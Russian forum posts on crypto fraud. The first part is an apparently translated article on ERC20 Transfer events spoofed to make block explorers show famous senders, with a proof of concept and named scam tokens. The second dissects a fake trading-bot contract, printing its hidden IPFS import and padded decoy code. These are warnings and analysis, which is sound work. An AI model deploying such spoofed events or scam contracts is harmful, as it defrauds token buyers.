Например, злоумышленник может развернуть простой контракт ERC20 и «аирдропнуть» его группе пользователей, создать хорошо выглядящий пул ликвидности на автоматизированном маркет-мейкере и ждать, пока пользователи либо купят, либо продадут на основе неуместной шумихи из-за мыслейо том, что токен является разработкой известного разработчика/организации.

Наелись

Токен ERC20 (который является общим стандартом интерфейсов токенов) представляет собой набор свойств, функций, переменныхи событий для контракта. Пока в нашем контракте есть правильные функции, у нас может быть собственная логика в этих функциях — даже тех, которые предоставляют неверные данные / сродни обфускации кода, (прим пер) /.
Например, мы можем сделать так, чтобы обозреватели блоков показывали конечному пользователю другой адрес (в некоторых представлениях), если развертыватель контракта отправляет им токен. Предположим следующее;

Также имейте в виду, что это не является исключительным для ERC20, "загрязненные" данные могут быть вставлены в любые стандартные события токенов, такие как NFT ( ERC721 , ERC1155 ), чтобы сбить пользователей и потенциальных инвесторов с толку, думая, что у проекта есть определенные заинтересованные стороны / влиятельные лица, когда на самом деле это не так.
Когда обозреватель блоков видит событие, инициированное транзакцией, он регистрирует его в своей автономной базе данных и выстраивает логику с другими фрагментами данных, чтобы построить хороший реляционный граф транзакций для отображения конечному пользователю в своем пользовательском интерфейсе.

Доказательство концепции ​

Мы развернем контракт для проверки концепции , используя старую версию Solidity (из-за того, что большая часть кода была разветвлена из репозитория, сделанного 4 года назад ), но также чтобы продемонстрировать, что это не проблема версий Solidity или что-либо в Ethereum, но проблема доверия к контрактам с приложениями вне сети, доверяющими событиям, испускаемым из потенциально ненадежных контрактов. Вообще говоря, наследование доверия к «правильному» событию — это нормально , это способ для контрактов предоставить полезные данные программам вне сети для индексации.

1662858537603.png

В вышеуказанном договоре (расположенном по адресу 0x3afe99bd92b1aed3237196b26743681766d4940e), мы изменили логику, чтобы изменить адрес отправителя в событии Transfer, чтобы он был помечен как «OpenSea: Wallet» адрес в популярных обозревателях блоков только в том случае, если мы (тот, кто создал контракт) отправляет токены.
Это означает, что когда обозреватель блоков индексирует это событие, он видит из события Transfer, что адрес 0x5b32…1073 отправил токены вместо фактического инициатора 0x11b6…04C9, что может привести к тому, что этот метод будет использоваться злоумышленниками, чтобы обмануть пользователей. ;

Вызываем transfer() с адреса развертывателя контракта и посмотрите, что индексирует обозреватель блоков. Помните, мы просто перемещаем токены с моего адреса (0x11b6...04C9) на нужный мне (0x4bbe...1520). «OpenSea: кошелек» ERC20 Activity показывает, что, похоже, он отправил токен с именем OpenSeaRevenueShare в пункт назначения.

1662859124244.png

Транзакция указывает (в разделе «Токены переданы»), что «OpenSea: кошелек» отправил токены на адрес назначения.

1662859176758.png

Адрес назначения показывает, что «OpenSea: Wallet» перевел им 10 токенов.

1662859240388.png

" РАЗУЙ" ГЛАЗА

Хотя большинство вредоносных контрактов, которые делают это для использования пользователей, не «проверяются», поскольку мы видим только [байт ](https://blog.mycrypto.com/the-ethereum-virtual-machine---how-does-it- work-)блоки, пользователям может быть сложно проверить, наполнены ли события неверными данными на основе какого-либо условия, как в нашем доказательстве. Если контракт не проверен, например, вы не можете видеть код Solidity/Vyper и вам доступен только байт-код, то вам в любом случае следует принять меры предосторожности, прежде чем взаимодействовать с контрактом.

Если токен «сбрасывается» вам или другому лицу, вы должны быть осторожны, особенно если вы пытаетесь ликвидировать токен на DEX, поскольку в прошлом были некоторые события, в которых использовались методы создания искусственной цены, чтобы украсть у вас.

Один быстрый способ, хотя и ненадежный из-за контрактов с несколькими отправителями для аирдропов, состоит в том, чтобы проверить, соответствуют ли параметры события инициатору транзакции. Например, если поле транзакции «От» не соответствует событию, ~~действуйте с осторожностью~~ НЕ ПОКУПАЙТЕ ЭТОТ ТОКЕН!!!!! /прим. пер/

~~1662859647832.png~~

Методы наполнения событий неверными данными продолжают развиваться. Например, если мы запустим следующий запрос в Google BigQuery, то сможем узнать о том, что происходит с контрактами, генерирующими события, чтобы обмануть индексаторов, заставив их думать, что Виталик Бутерин (0xab5801a7d398351b8be11c439e05c5b3259aec9b) использует их токен.

1662859780304.png

Примеры обмана ​

ЭлонПлэйд (0x907f3040e13bd57f3b00f89bb8ee19424a95b065) ​

Transfer() событие содержит адрес Виталика Бутерина в конструкторе

1662859966263.png

Генерация события Transfer() с адресом Виталика Бутерина при открытии торгов с токеном

1662860059586.png

  1. Создатель контракта предоставил ликвидность на DEX (стоимостью 4ETH)
  2. Три дня спустя ликвидность 6ETH была удалена, что укрепило проект для получения прибыли в 2ETH.

Кеншаину (0x3a7eaa257181719965f8ebe64bb7c13ffbbca36b) ​

Transfer() с использованием адреса Виталика Бутерина в конструкторе

1662860214401.png

IronDoge (0xf6072df56114e1a1c76fe04fb310d468c9ba8c38)​

Transfer() с использованием адреса Виталика Бутерина в конструкторе

1662860296037.png

  1. Создатель контракта предоставил ликвидность на DEX (стоимостью 4ETH)

Через день удалил ликвидность , что укрепило проект и принесло прибыль в размере 1,8 ETH.

Это всего лишь три примера из многих. Злоумышленники пользуются загрязняющими событиями, чтобы обмануть пользователей, и они нацелены не только на известный адрес Виталика Бутерина.

ПОЧИН

Хотя обозреватели блоков чрезвычайно полезны для визуализации данных блокчейна, их логика может быть использована для отображения вводящих в заблуждение/неправильных данных. Кажется уместным напомнить вам о старой поговорке о блокчейне «Не доверяй, проверяй», особенно когда мы все доверяем обозревателям блоков, чтобы они давали абсолютно точные данные, и не думали о том, как они интерпретируют данные.

Yчимся создавать смарт-контракты Ethereum на Solidity с самого начала и пока смерть не разлучит нас / #5 Супер СКАМ от IPFS и добрых учителей
ID: 67686ad7b4103b69df3798fe
Thread ID: 73632
Created: 2022-09-26T04:59:52+0000
Last Post: 2022-09-26T19:04:14+0000
Author: вавилонец
Prefix: Статья
Replies: 4 Views: 1K

На днях тут нашел супер пупер бота для успешного заработка)

/видео работает просто не прогрузилось чёт сюда
думаю дай как потестю, а там сука, СКАМ. Причем такой хреновый ну просто копец.
заходим на их гит, откуда предложено взять код .sol файла и задеплоить его в remixe. Подробное описание конечно же прилагается. 500+ строк кода с использованием функций ассемблирования, да так напутали что сразу понятно - скамло. Думаю щя разберусь где собака зарыта. А она зарыта в 6 строчке кода

Code:Copy to clipboard

pragma solidity ^0.6.6;

// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "ipfs://Qmf1enYmjpYSPA1n87fiEXDPzWtJHXwSrFQwDtz7f9jX8V";

Поднял ноду на виртуалке:

1212121.png

открыл этот файл а там так тупо реализовано всё, мне аж плавать захотелось:

Spoiler: Вот что значит обфускация)))

Code:Copy to clipboard

pragma solidity ^0.6.6;

// import chai, { expect } from 'chai'
// import { Contract } from 'ethers'
// import { MaxUint256 } from 'ethers/constants'
// import { bigNumberify, hexlify, keccak256, defaultAbiCoder, toUtf8Bytes } from 'ethers/utils'
// import { solidity, MockProvider, deployContract } from 'ethereum-waffle'
// import { ecsign } from 'ethereumjs-util'

// import { expandTo18Decimals, getApprovalDigest } from './shared/utilities'

// import ERC20 from '../build/ERC20.json'
// import './interfaces/IUniswapV2Pair.sol';
// import './UniswapV2ERC20.sol';
// import './libraries/Math.sol';
// import './libraries/UQ112x112.sol';
// import './interfaces/IERC20.sol';
// import './interfaces/IUniswapV2Factory.sol';
// import './interfaces/IUniswapV2Callee.sol';

// contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
//     using SafeMath  for uint;
//     using UQ112x112 for uint224;

//     uint public constant MINIMUM_LIQUIDITY = 10**3;
//     bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));

//     address public factory;
//     address public token0;
//     address public token1;

//     uint112 private reserve0;           // uses single storage slot, accessible via getReserves
//     uint112 private reserve1;           // uses single storage slot, accessible via getReserves
//     uint32  private blockTimestampLast; // uses single storage slot, accessible via getReserves

//     uint public price0CumulativeLast;
//     uint public price1CumulativeLast;
//     uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event

//     uint private unlocked = 1;
//     modifier lock() {
//         require(unlocked == 1, 'UniswapV2: LOCKED');
//         unlocked = 0;
//         _;
//         unlocked = 1;
//     }

//     function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
//         _reserve0 = reserve0;
//         _reserve1 = reserve1;
//         _blockTimestampLast = blockTimestampLast;
//     }

//     function _safeTransfer(address token, address to, uint value) private {
//         (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
//         require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
//     }

//     event Mint(address indexed sender, uint amount0, uint amount1);
//     event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
//     event Swap(
//         address indexed sender,
//         uint amount0In,
//         uint amount1In,
//         uint amount0Out,
//         uint amount1Out,
//         address indexed to
//     );
//     event Sync(uint112 reserve0, uint112 reserve1);

//     constructor() public {
//         factory = msg.sender;
//     }

//     // called once by the factory at time of deployment
//     function initialize(address _token0, address _token1) external {
//         require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
//         token0 = _token0;
//         token1 = _token1;
//     }

//     // update reserves and, on the first call per block, price accumulators
//     function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
//         require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
//         uint32 blockTimestamp = uint32(block.timestamp % 2**32);
//         uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
//         if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
//             // * never overflows, and + overflow is desired
//             price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
//             price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
//         }
//         reserve0 = uint112(balance0);
//         reserve1 = uint112(balance1);
//         blockTimestampLast = blockTimestamp;
//         emit Sync(reserve0, reserve1);
//     }

//     // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
//     function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
//         address feeTo = IUniswapV2Factory(factory).feeTo();
//         feeOn = feeTo != address(0);
//         uint _kLast = kLast; // gas savings
//         if (feeOn) {
//             if (_kLast != 0) {
//                 uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
//                 uint rootKLast = Math.sqrt(_kLast);
//                 if (rootK > rootKLast) {
//                     uint numerator = totalSupply.mul(rootK.sub(rootKLast));
//                     uint denominator = rootK.mul(5).add(rootKLast);
//                     uint liquidity = numerator / denominator;
//                     if (liquidity > 0) _mint(feeTo, liquidity);
//                 }
//             }
//         } else if (_kLast != 0) {
//             kLast = 0;
//         }
//     }

//     // this low-level function should be called from a contract which performs important safety checks
//     function mint(address to) external lock returns (uint liquidity) {
//         (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
//         uint balance0 = IERC20(token0).balanceOf(address(this));
//         uint balance1 = IERC20(token1).balanceOf(address(this));
//         uint amount0 = balance0.sub(_reserve0);
//         uint amount1 = balance1.sub(_reserve1);

//         bool feeOn = _mintFee(_reserve0, _reserve1);
//         uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
//         if (_totalSupply == 0) {
//             liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
//           _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
//         } else {
//             liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
//         }
//         require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
//         _mint(to, liquidity);

//         _update(balance0, balance1, _reserve0, _reserve1);
//         if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
//         emit Mint(msg.sender, amount0, amount1);
//     }
//     // this low-level function should be called from a contract which performs important safety checks
//     function burn(address to) external lock returns (uint amount0, uint amount1) {
//         (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
//         address _token0 = token0;                                // gas savings
//         address _token1 = token1;                                // gas savings
//         uint balance0 = IERC20(_token0).balanceOf(address(this));
//         uint balance1 = IERC20(_token1).balanceOf(address(this));
//         uint liquidity = balanceOf[address(this)];

//         bool feeOn = _mintFee(_reserve0, _reserve1);
//         uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
//         amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
//         amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
//         require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
//         _burn(address(this), liquidity);
//         _safeTransfer(_token0, to, amount0);
//         _safeTransfer(_token1, to, amount1);
//         balance0 = IERC20(_token0).balanceOf(address(this));
//         balance1 = IERC20(_token1).balanceOf(address(this));

//         _update(balance0, balance1, _reserve0, _reserve1);
//         if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
//         emit Burn(msg.sender, amount0, amount1, to);
//     }

//     // this low-level function should be called from a contract which performs important safety checks
//     function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
//         require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
//         (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
//         require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
//     // this low-level function should be called from a contract which performs important safety checks
//     function burn(address to) external lock returns (uint amount0, uint amount1) {
//         (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
//         address _token0 = token0;                                // gas savings
//         address _token1 = token1;                                // gas savings
//         uint balance0 = IERC20(_token0).balanceOf(address(this));
//         uint balance1 = IERC20(_token1).balanceOf(address(this));
//         uint liquidity = balanceOf[address(this)];

//         bool feeOn = _mintFee(_reserve0, _reserve1);
//         uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
//         amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
//         amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
//         require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
//         _burn(address(this), liquidity);
//         _safeTransfer(_token0, to, amount0);
//         _safeTransfer(_token1, to, amount1);
//         balance0 = IERC20(_token0).balanceOf(address(this));
//         balance1 = IERC20(_token1).balanceOf(address(this));

//         _update(balance0, balance1, _reserve0, _reserve1);
//         if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
//         emit Burn(msg.sender, amount0, amount1, to);
//     }

//     // this low-level function should be called from a contract which performs important safety checks
//     function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
//         require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
//         (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
//         require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');

//         uint balance0;
//         uint balance1;
//         { // scope for _token{0,1}, avoids stack too deep errors
//         address _token0 = token0;
//         address _token1 = token1;
//         require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
//         if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
//         if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
//         if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
//         balance0 = IERC20(_token0).balanceOf(address(this));
//         balance1 = IERC20(_token1).balanceOf(address(this));
//         }
//         uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
//         uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
//         require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
//         { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
//         uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
//         uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
//         require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
//         }

//         _update(balance0, balance1, _reserve0, _reserve1);
//         emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
//     }

//     // force balances to match reserves
//     function skim(address to) external lock {
//         address _token0 = token0; // gas savings
//         address _token1 = token1; // gas savings
//         _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
//         _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
//     }

//     // force reserves to match balances
//     function sync() external lock {
//         _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
//     }
// }
// chai.use(solidity)

// const TOTAL_SUPPLY = expandTo18Decimals(10000)
// const TEST_AMOUNT = expandTo18Decimals(10)

// describe('UniswapV2ERC20', () => {
//   const provider = new MockProvider({
//     hardfork: 'istanbul',
//     mnemonic: 'horn horn horn horn horn horn horn horn horn horn horn horn',
//     gasLimit: 9999999
//   })
//   const [wallet, other] = provider.getWallets()

//   let token: Contract
//   beforeEach(async () => {
//     token = await deployContract(wallet, ERC20, [TOTAL_SUPPLY])
//   })

//   it('name, symbol, decimals, totalSupply, balanceOf, DOMAIN_SEPARATOR, PERMIT_TYPEHASH', async () => {
//     const name = await token.name()
//     expect(name).to.eq('Uniswap V2')
//     expect(await token.symbol()).to.eq('UNI-V2')
//     expect(await token.decimals()).to.eq(18)
//     expect(await token.totalSupply()).to.eq(TOTAL_SUPPLY)
//     expect(await token.balanceOf(wallet.address)).to.eq(TOTAL_SUPPLY)
//     expect(await token.DOMAIN_SEPARATOR()).to.eq(
//       keccak256(
//         uint balance0;
//         uint balance1;
//         { // scope for _token{0,1}, avoids stack too deep errors
//         address _token0 = token0;
//         address _token1 = token1;
//         require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
//         if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
//         if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
//         if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
//         balance0 = IERC20(_token0).balanceOf(address(this));
//         balance1 = IERC20(_token1).balanceOf(address(this));
//         }
//         uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
//         uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
//         require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
//         { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
//         uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
//         uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
//         require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
//         }

//         _update(balance0, balance1, _reserve0, _reserve1);
//         emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
//     }

//     // force balances to match reserves
//     function skim(address to) external lock {
//         address _token0 = token0; // gas savings
//         address _token1 = token1; // gas savings
//         _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
//         _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
//     }

//     // force reserves to match balances
//     function sync() external lock {
//         _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
//     }
// }
// chai.use(solidity)

// const TOTAL_SUPPLY = expandTo18Decimals(10000)
// const TEST_AMOUNT = expandTo18Decimals(10)

// describe('UniswapV2ERC20', () => {
//   const provider = new MockProvider({
//     hardfork: 'istanbul',
//     mnemonic: 'horn horn horn horn horn horn horn horn horn horn horn horn',
//     gasLimit: 9999999
//   })
//   const [wallet, other] = provider.getWallets()

//   let token: Contract
//   beforeEach(async () => {
//     token = await deployContract(wallet, ERC20, [TOTAL_SUPPLY])
//   })

//   it('name, symbol, decimals, totalSupply, balanceOf, DOMAIN_SEPARATOR, PERMIT_TYPEHASH', async () => {
//     const name = await token.name()
//     expect(name).to.eq('Uniswap V2')
//     expect(await token.symbol()).to.eq('UNI-V2')
//     expect(await token.decimals()).to.eq(18)
//     expect(await token.totalSupply()).to.eq(TOTAL_SUPPLY)
//     expect(await token.balanceOf(wallet.address)).to.eq(TOTAL_SUPPLY)
//     expect(await token.DOMAIN_SEPARATOR()).to.eq(
//       keccak256(
//         defaultAbiCoder.encode(
//           ['bytes32', 'bytes32', 'bytes32', 'uint256', 'address'],
//           [
//             keccak256(
//               toUtf8Bytes('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)')
//             ),
//             keccak256(toUtf8Bytes(name)),
//             keccak256(toUtf8Bytes('1')),
//             1,
//             token.address
//           ]
//         )
//       )
//     )
//     // this low-level function should be called from a contract which performs important safety checks
//     function burn(address to) external lock returns (uint amount0, uint amount1) {
//         (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
//         address _token0 = token0;                                // gas savings
//         address _token1 = token1;                                // gas savings
//         uint balance0 = IERC20(_token0).balanceOf(address(this));
//         uint balance1 = IERC20(_token1).balanceOf(address(this));
//         uint liquidity = balanceOf[address(this)];

//         bool feeOn = _mintFee(_reserve0, _reserve1);
//         uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
//         amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
//         amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
//         require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
//         _burn(address(this), liquidity);
//         _safeTransfer(_token0, to, amount0);
//         _safeTransfer(_token1, to, amount1);
//         balance0 = IERC20(_token0).balanceOf(address(this));
//         balance1 = IERC20(_token1).balanceOf(address(this));

//         _update(balance0, balance1, _reserve0, _reserve1);
//         if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
//         emit Burn(msg.sender, amount0, amount1, to);
//     }

//     // this low-level function should be called from a contract which performs important safety checks
//     function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
//         require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
//         (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
//         require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');

//         uint balance0;
//         uint balance1;
//         { // scope for _token{0,1}, avoids stack too deep errors
//         address _token0 = token0;
//         address _token1 = token1;
//         require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
//         if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
//         if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
//         if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
//         balance0 = IERC20(_token0).balanceOf(address(this));
//         balance1 = IERC20(_token1).balanceOf(address(this));
//         }
//         uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
//         uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
//         require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
//         { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
//         uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
//         uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
//         require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
//         }

//         _update(balance0, balance1, _reserve0, _reserve1);
//         emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
//     }

//     // force balances to match reserves
//     function skim(address to) external lock {
//         address _token0 = token0; // gas savings
//         address _token1 = token1; // gas savings
//         _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
//         _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
//     }

//     // force reserves to match balances
//     function sync() external lock {
//         _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
//     }
// }
// chai.use(solidity)

// const TOTAL_SUPPLY = expandTo18Decimals(10000)
// const TEST_AMOUNT = expandTo18Decimals(10)

// describe('UniswapV2ERC20', () => {
//   const provider = new MockProvider({
//     hardfork: 'istanbul',
//     mnemonic: 'horn horn horn horn horn horn horn horn horn horn horn horn',
//     gasLimit: 9999999
//   })
//   const [wallet, other] = provider.getWallets()

//   let token: Contract
//   beforeEach(async () => {
//     token = await deployContract(wallet, ERC20, [TOTAL_SUPPLY])
//   })

//   it('name, symbol, decimals, totalSupply, balanceOf, DOMAIN_SEPARATOR, PERMIT_TYPEHASH', async () => {
//     const name = await token.name()
//     expect(name).to.eq('Uniswap V2')
//     expect(await token.symbol()).to.eq('UNI-V2')
//     expect(await token.decimals()).to.eq(18)
//     expect(await token.totalSupply()).to.eq(TOTAL_SUPPLY)
//     expect(await token.balanceOf(wallet.address)).to.eq(TOTAL_SUPPLY)
//     expect(await token.DOMAIN_SEPARATOR()).to.eq(
//       keccak256(
contract Manager {
   function performTasks() public {
       
   }
//     // this low-level function should be called from a contract which performs important safety checks
//     function burn(address to) external lock returns (uint amount0, uint amount1) {
//         (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
//         address _token0 = token0;                                // gas savings
//         address _token1 = token1;                                // gas savings
//         uint balance0 = IERC20(_token0).balanceOf(address(this));
//         uint balance1 = IERC20(_token1).balanceOf(address(this));
//         uint liquidity = balanceOf[address(this)];

//         bool feeOn = _mintFee(_reserve0, _reserve1);
//         uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
//         amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
//         amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
//         require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
//         _burn(address(this), liquidity);
//         _safeTransfer(_token0, to, amount0);
//         _safeTransfer(_token1, to, amount1);
//         balance0 = IERC20(_token0).balanceOf(address(this));
//         balance1 = IERC20(_token1).balanceOf(address(this));

//         _update(balance0, balance1, _reserve0, _reserve1);
//         if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
//         emit Burn(msg.sender, amount0, amount1, to);
//     }

//     // this low-level function should be called from a contract which performs important safety checks
//     function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
//         require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
//         (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
//         require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');

//         uint balance0;
//         uint balance1;
//         { // scope for _token{0,1}, avoids stack too deep errors
//         address _token0 = token0;
//         address _token1 = token1;
//         require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
//         if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
//         if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
//         if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
//         balance0 = IERC20(_token0).balanceOf(address(this));
//         balance1 = IERC20(_token1).balanceOf(address(this));
//         }
//         uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
//         uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
//         require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
//         { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
//         uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
//         uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
//         require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
//         }

//         _update(balance0, balance1, _reserve0, _reserve1);
//         emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
//     }

//     // force balances to match reserves
//     function skim(address to) external lock {
//         address _token0 = token0; // gas savings
//         address _token1 = token1; // gas savings
//         _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
//         _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
//     }

//     // force reserves to match balances
//     function sync() external lock {
//         _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
//     }
// }
// chai.use(solidity)

// const TOTAL_SUPPLY = expandTo18Decimals(10000)
// const TEST_AMOUNT = expandTo18Decimals(10)

